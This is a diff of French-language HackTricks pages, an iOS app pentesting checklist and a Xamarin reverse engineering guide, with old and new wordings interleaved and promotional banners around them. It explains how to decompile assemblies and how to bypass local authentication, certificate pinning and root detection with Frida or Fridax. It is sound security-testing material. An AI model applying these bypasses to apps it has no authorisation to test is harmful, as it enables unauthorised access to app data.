* [ ] L'application [**permet-elle d'utiliser des claviers personnalisés**](ios-pentesting/#custom-keyboards-keyboard-cache) ?
* [ ] Vérifiez si des informations sensibles sont enregistrées dans les [**fichiers de cache des claviers**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Logs**
### **Journaux**
* [ ] Vérifiez si des [**informations sensibles sont enregistrées**](ios-pentesting/#logs)
* [ ] Vérifiez si [**des informations sensibles sont enregistrées dans les journaux**](ios-pentesting/#logs)
### Sauvegardes
* [ ] Les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour accéder aux informations sensibles enregistrées dans le système de fichiers (vérifiez le point initial de cette liste de vérification)
* [ ] De plus, les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour modifier certaines configurations de l'application, puis **restaurer** la sauvegarde sur le téléphone, et lorsque la **configuration modifiée** est **chargée**, certaines fonctionnalités (de sécurité) peuvent être contournées.
* [ ] Les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour **accéder aux informations sensibles** enregistrées dans le système de fichiers (vérifiez le premier point de cette liste de contrôle)
* [ ] De plus, les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour **modifier certaines configurations de l'application**, puis **restaurer** la sauvegarde sur le téléphone, et comme la **configuration modifiée** est **chargée**, certaines fonctionnalités (de sécurité) peuvent être **contournées**
### **Mémoire des applications**
@ -60,29 +62,30 @@ Obtenez un accès aujourd'hui :
### **Cryptographie défaillante**
* [ ] Vérifiez si vous pouvez trouver des [**mots de passe utilisés pour la cryptographie**](ios-pentesting/#broken-cryptography)
* [ ] Vérifiez l'utilisation d'**algorithmes obsolètes/faibles** pour envoyer/stocker des données sensibles
* [ ] [**Accrochez et surveillez les fonctions de cryptographie**](ios-pentesting/#broken-cryptography)
* [ ] Vérifiez si vous pouvez trouver [**des mots de passe utilisés pour la cryptographie**](ios-pentesting/#broken-cryptography)
* [ ] Vérifiez l'utilisation de [**algorithmes obsolètes/faibles**](ios-pentesting/#broken-cryptography) pour envoyer/stocker des données sensibles
* [ ] [**Interceptez et surveillez les fonctions de cryptographie**](ios-pentesting/#broken-cryptography)
### **Authentification locale**
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vous devez vérifier comment l'authentification fonctionne.
* [ ] Si elle utilise le [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), elle peut être facilement contournée.
* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pouvez créer un script frida personnalisé.
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vous devriez vérifier comment l'authentification fonctionne.
* [ ] Si elle utilise le [**cadre d'authentification locale**](ios-pentesting/#local-authentication-framework), elle pourrait être facilement contournée
* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pourriez créer un script frida personnalisé
### Exposition de fonctionnalités sensibles via IPC
* [**Gestionnaires d'URI personnalisés / Liens profonds / Schémas personnalisés**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Vérifiez si l'application **enregistre un ou plusieurs protocoles/schémas**
* [ ] Vérifiez si l'application **s'enregistre pour utiliser** un ou plusieurs protocoles/schémas
* [ ] Vérifiez si l'application **s'attend à recevoir des informations sensibles** à partir du schéma personnalisé qui peuvent être **interceptées** par une autre application enregistrant le même schéma
* [ ] Vérifiez si l'application **ne vérifie pas et ne désinfecte pas** les entrées des utilisateurs via le schéma personnalisé et si une **vulnérabilité peut être exploitée**
* [**Gestionnaires d'URI personnalisés / Deeplinks / Schémas personnalisés**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Vérifiez si l'application **enregistre un protocole/schéma**
* [ ] Vérifiez si l'application **s'enregistre pour utiliser** un protocole/schéma
* [ ] Vérifiez si l'application **s'attend à recevoir un type quelconque d'informations sensibles** du schéma personnalisé qui peut être **intercepté** par une autre application enregistrant le même schéma
* [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et si une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé
* [**Liens universels**](ios-pentesting/#universal-links)
* [ ] Vérifiez si l'application **enregistre un ou plusieurs protocoles/schémas universels**
* [ ] Vérifiez si l'application **enregistre un protocole/schéma universel**
* [ ] Vérifiez le fichier `apple-app-site-association`
* [ ] Vérifiez si l'application **ne vérifie pas et ne désinfecte pas** les entrées des utilisateurs via le schéma personnalisé et si une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **ne vérifie pas et ne nettoie pas** les entrées des utilisateurs via le schéma personnalisé et si une **vulnérabilité peut être exploitée**
* [ ] Vérifiez si l'application **expose une action sensible** qui peut être appelée de n'importe où via le schéma personnalisé
* [**Partage d'activités UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
* [**Partage UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Vérifiez si l'application peut recevoir des UIActivities et s'il est possible d'exploiter une vulnérabilité avec une activité spécialement conçue
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Vérifiez si l'application **copie quelque chose dans le presse-papiers général**
@ -91,7 +94,7 @@ Obtenez un accès aujourd'hui :
* [**Extensions d'application**](ios-pentesting/ios-app-extensions.md)
* [ ] L'application **utilise-t-elle une extension** ?
* [**WebViews**](ios-pentesting/ios-webviews.md)
* [ ] Vérifiez quel type de webviews est utilisé
* [ ] Vérifiez quel type de webviews sont utilisés
* [ ] Vérifiez l'état de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Vérifiez si la webview peut **accéder aux fichiers locaux** avec le protocole **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Vérifiez si Javascript peut accéder aux **méthodes natives** (`JSContext`, `postMessage`)
@ -100,29 +103,31 @@ Obtenez un accès aujourd'hui :
* [ ] Effectuez un [**MitM sur la communication**](ios-pentesting/#network-communication) et recherchez des vulnérabilités web.
* [ ] Vérifiez si le [**nom d'hôte du certificat**](ios-pentesting/#hostname-check) est vérifié
* [ ] Vérifiez/bypass [**l'attache de certificat**](ios-pentesting/#certificate-pinning)
* [ ] Vérifiez/Contournez le [**Pinning de certificat**](ios-pentesting/#certificate-pinning)
### **Divers**
* [ ] Vérifiez les mécanismes de [**patching/mise à jour automatique**](ios-pentesting/#hot-patching-enforced-updateing)
* [ ] Vérifiez les [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties)
* [ ] Vérifiez la présence de [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,45 +2,47 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Informations de Base**
## **Informations de base**
Xamarin est une plateforme open-source qui offre aux développeurs un accès à une sélection complète d'outils et d'add-ons, leur permettant de **créer des applications modernes pour iOS, Android et Windows en utilisant les frameworks .NET et C#**.
Xamarin est une plateforme open-source qui offre aux développeurs un accès à une sélection complète d'outils et d'extensions, leur permettant de **créer des applications modernes pour iOS, Android et Windows en utilisant les frameworks .NET et C#**.
### Architecture Xamarin Android
### Architecture Android Xamarin
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Xamarin propose des liaisons .NET pour les espaces de noms Android.\* et Java.\*. Les applications Xamarin.
Xamarin propose des liaisons .NET aux espaces de noms Android.\* et Java.\*. Les applications Xamarin.
Android fonctionnent sous l'environnement d'exécution Mono, avec la machine virtuelle Android Runtime (ART) qui fonctionne en parallèle.
L'environnement d'exécution Mono appelle ces espaces de noms via des Managed Callable Wrappers (MCW) et fournit des Android Callable Wrappers (ACW) à l'ART.
Ces deux environnements fonctionnent sur le noyau Linux et invoquent diverses API pour le code utilisateur. Cette disposition permet aux développeurs d'accéder au système sous-jacent.
Ces deux environnements fonctionnent sur le noyau Linux et invoquent diverses API pour le code utilisateur. L'arrangement permet aux développeurs d'accéder au système sous-jacent.
### Projet Xamarin iOS
Les applications Xamarin.iOS fonctionnent sous l'environnement d'exécution Mono et utilisent une compilation complète Ahead of Time (AOT) pour compiler le code C# .NET en langage d'assemblage ARM.
Les applications Xamarin.iOS fonctionnent sous l'environnement d'exécution Mono et utilisent une compilation complète Ahead of Time (AOT) pour compiler les codes C# .NET en langage d'assemblage ARM.
Il fonctionne conjointement avec le Runtime Objective-C. Les environnements d'exécution fonctionnent sur un noyau de type UNIX et invoquent plusieurs API pour le code utilisateur, ce qui permet aux développeurs d'accéder au système géré ou natif sous-jacent.
Elles fonctionnent conjointement avec le Runtime Objective-C. Les environnements d'exécution fonctionnent sur un noyau de type UNIX et invoquent plusieurs API pour le code utilisateur, ce qui permet aux développeurs d'accéder au système géré ou natif sous-jacent.
Le diagramme ci-dessous illustre cette architecture :
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Qu'est-ce que le Runtime .Net et le Framework Mono ?
**Le framework .Net est un ensemble d'assemblages, de classes et d'espaces de noms** que les développeurs peuvent utiliser pour créer des applications ; le Runtime .Net exécute le code compilé, et ce processus est appelé exécution de code géré. Le Runtime .NET offre plusieurs fonctionnalités qui garantissent l'indépendance de la plateforme et sont compatibles avec les versions antérieures du framework.
**Le framework .Net est un ensemble d'assemblages, de classes et d'espaces de noms** que les développeurs peuvent utiliser pour créer des applications ; le Runtime .Net exécute le code compilé, et le processus est appelé exécution de code géré. Le Runtime .NET offre plusieurs fonctionnalités qui garantissent l'indépendance de la plateforme et sont compatibles avec les versions antérieures du framework.
**Le Framework Mono** a été lancé en 2005 comme une implémentation du Framework .NET pour Linux (Ximian/SuSe/Novell). Sponsorisé par Microsoft et dirigé par Xamarin, Mono est l'implémentation open-source du framework .NET basée sur les standards ECMA pour le Common Language Runtime et C#.
@ -48,43 +50,43 @@ Le diagramme ci-dessous illustre cette architecture :
### Décompilation des Assemblages Xamarin
La décompilation est le processus utilisé pour produire du code source à partir de code compilé. Pour obtenir des informations sur les assemblages et les exécutables actuellement en mémoire, Windows est un excellent point de départ.
La décompilation est le processus utilisé pour produire du code source à partir de code compilé. Pour obtenir des informations sur les assemblages et les exécutables actuellement en mémoire, Windows est un excellent endroit.
Pour ouvrir la fenêtre Modules, sélectionnez Debug > Windows > Modules. Une fois que vous avez détecté le module qui nécessite une décompilation, faites un clic droit et sélectionnez "Décompiler la Source en Fichier de Symboles". Cette action **crée un fichier de symboles contenant une source décompilée qui**, à son tour, vous permet d'entrer directement dans le code tiers à partir de votre code source.
Pour ouvrir la fenêtre Modules, sélectionnez Debug > Windows > Modules. Une fois que vous détectez le module qui nécessite une décompilation, faites un clic droit et sélectionnez "Décompiler la source en fichier de symboles". Cette action **crée un fichier de symboles contenant une source décompilée qui**, à son tour, vous permet d'entrer directement dans le code tiers à partir de votre code source.
**Visual Studio** décompile le code géré, même en l'absence de symboles, vous permettant de regarder le code, d'inspecter les variables et de placer des points d'arrêt. Pour extraire le code source sur le disque, faites un clic droit sur le module avec source intégrée et cliquez sur "Extraire la Source Intégrée". Cela exportera les fichiers source vers un dossier de fichiers divers pour une analyse plus approfondie.
**Visual Studio** décompile le code géré, même en l'absence de symboles, vous permettant de regarder le code, d'inspecter les variables et de placer des points d'arrêt. Pour extraire le code source sur le disque, faites un clic droit sur le module avec source intégrée et cliquez sur "Extraire la source intégrée". Cela exportera les fichiers source dans un dossier de fichiers divers pour une analyse plus approfondie.
### Compilation JIT vs AOT des Applications Xamarin
Ces deux options pour compiler le code Xamarin basé sur C# en une application, c'est-à-dire, **la compilation Juste à temps et la compilation à l'avance**. La manière de compilation affecte la manière dont le code de l'application est livré dans le fichier apk ou ipa. Examinons cela rapidement ci-dessous :
Ces deux options pour compiler le code Xamarin basé sur C# en une application, c'est-à-dire, **la compilation Just in time et la compilation ahead of time**. La manière de compilation affecte la manière dont le code de l'application est livré dans le fichier apk ou ipa. Examinons cela rapidement ci-dessous :
\- **Android** : Xamarin vous permet de compiler en utilisant **à la fois les drapeaux JIT et AOT pour android**. Il existe également un moyen intermédiaire pour obtenir la vitesse d'exécution la plus élevée en utilisant le mode AOT Hybride. Notez que le mode AOT complet n'est disponible que pour la licence Entreprise.
\- **Android** : Xamarin vous permet de compiler en utilisant **à la fois les drapeaux JIT et AOT pour android**. Il existe également un moyen intermédiaire pour obtenir la plus grande vitesse d'exécution en utilisant le mode Hybrid AOT. Notez que le mode Full AOT est disponible uniquement pour la licence Enterprise.
\- **iOS** : Il n'y a qu'une seule option dans le cas d'iOS, **la compilation à l'avance**. Cela est dû aux politiques d'Apple qui interdisent l'exécution de code généré dynamiquement sur un appareil.
\- **iOS** : Il n'y a qu'une seule option dans le cas d'iOS, **la compilation ahead-of-time**. Cela est dû aux politiques d'Apple qui interdisent l'exécution de code généré dynamiquement sur un appareil.
{% hint style="info" %}
Si vous rencontrez une application compilée en Full AOT, et si les fichiers d'assemblage IL sont supprimés pour réduire la taille de construction par le développeur, alors le reverse nécessite une étape supplémentaire d'extraction des fichiers dll à partir des fichiers .dll.so du dossier lib ou du fichier `libmonodroid_bundle_app.so`. Si c'est une application compilée en AOT Hybride, et que les fichiers IL sont toujours conservés dans le paquet de l'application, nous pouvons les utiliser pour rétroconcevoir l'application.
Si vous rencontrez une application compilée Full AOT, et si les fichiers IL Assembly sont supprimés pour réduire la taille de construction par le développeur, alors le reverse nécessite une étape supplémentaire d'extraction des fichiers dll à partir des fichiers .dll.so du dossier lib ou du fichier `libmonodroid_bundle_app.so`. Si c'est une application compilée Hybrid AOT, et que les fichiers IL sont toujours conservés dans le paquet de l'application, nous pouvons les utiliser pour faire du reverse engineering de l'application.
{% endhint %}
## Obtenir les fichiers dll à partir de l'APK/IPA
Il suffit de **décompresser le fichier apk/ipa** et de copier tous les fichiers présents sous le répertoire des assemblages :
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Dans le cas des **APKs Android, ces fichiers dll sont compressés** et ne peuvent pas être directement utilisés pour la décompilation. Heureusement, il existe des outils que nous pouvons utiliser pour **décompresser ces fichiers dll** comme [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Il est possible qu'au lieu de fichiers dll, vous verrez `assemblies.blob` et `assemblies.manifest` dans le répertoire des assemblages. Il s'agit d'un Xamarin AssemblyStore et la méthode actuellement recommandée pour empaqueter les dll dans une application Android. Le fichier `assemblies.manifest` est un fichier texte décrivant le contenu du fichier binaire `assemblies.blob`. Pour décompresser ces fichiers, vous devrez utiliser [pyxamstore](https://github.com/jakev/pyxamstore).
Il est possible qu'au lieu de fichiers dll, vous verrez `assemblies.blob` et `assemblies.manifest` dans le répertoire des assemblages. C'est un Xamarin AssemblyStore et la méthode actuellement recommandée pour empaqueter les dll dans une application Android. Le fichier `assemblies.manifest` est un fichier texte décrivant le contenu du fichier binaire `assemblies.blob`. Pour décompresser ces fichiers, vous devrez utiliser [pyxamstore](https://github.com/jakev/pyxamstore).
```
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
Dans le cas d'iOS, **les fichiers dll à l'intérieur des fichiers IPA peuvent être chargés directement** dans un décompilateur (pas besoin de décompresser quoi que ce soit).
**La plupart du code de l'application peut être trouvée lorsque nous décompilons les fichiers dll.** Notez également que les applications basées sur le Framework Xamarin contiennent 90 % de code commun dans les builds de toutes les plateformes comme iOS et Android, etc.
**La plupart du code de l'application peut être trouvée lorsque nous décompilons les fichiers dll.** Notez également que les applications basées sur le Xamarin Framework contiennent 90 % de code commun dans les builds de toutes les plateformes comme iOS et Android, etc.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
D'après la capture d'écran ci-dessus listant les fichiers dll présents dans l'apk, nous pouvons confirmer qu'il s'agit d'une application Xamarin. Elle contient des fichiers dll spécifiques à l'application ainsi que les fichiers de bibliothèque nécessaires au fonctionnement de l'application, tels que `Xamarin.Essentails.dll` ou `Mono.Security.dll`.
@ -94,7 +96,7 @@ Enfin, vous pouvez utiliser [**ces outils recommandés**](../reversing/reversing
## Analyse Dynamique
Essayez de vérifier si l'application a une sorte de SSL pinning en place. Si ce n'est pas le cas, utiliser Burp comme CA système devrait fonctionner pour intercepter les requêtes. **Frida avec Java ou ObjC runtime ne fonctionnera pas** ici, mais heureusement, il existe un outil qui peut être utilisé pour se brancher dans les méthodes.
Essayez de vérifier si l'application a une forme de SSL pinning en place. Si ce n'est pas le cas, utiliser Burp comme CA système devrait fonctionner pour intercepter les requêtes. **Frida avec Java ou ObjC runtime ne fonctionnera pas** ici, mais heureusement, il existe un outil qui peut être utilisé pour se brancher dans les méthodes.
[**Fridax**](https://github.com/NorthwaveSecurity/fridax) vous permet de **modifier facilement le binaire .NET à l'intérieur d'une application Xamarin en temps réel**. L'analyse statique vous aidera à identifier différentes méthodes présentes au sein de l'application, qui peuvent être branchées plus tard pour l'analyse dynamique en utilisant Fridax. Voici quelques scripts Frida qui peuvent nous aider à contourner la détection de root ou le SSL-pinning :
@ -105,16 +107,18 @@ Essayez de vérifier si l'application a une sorte de SSL pinning en place. Si ce
## Références
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking_xamarin_assembly_stores/](https://thecobraden.com/posts/unpacking_xamarin_assembly_stores/)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>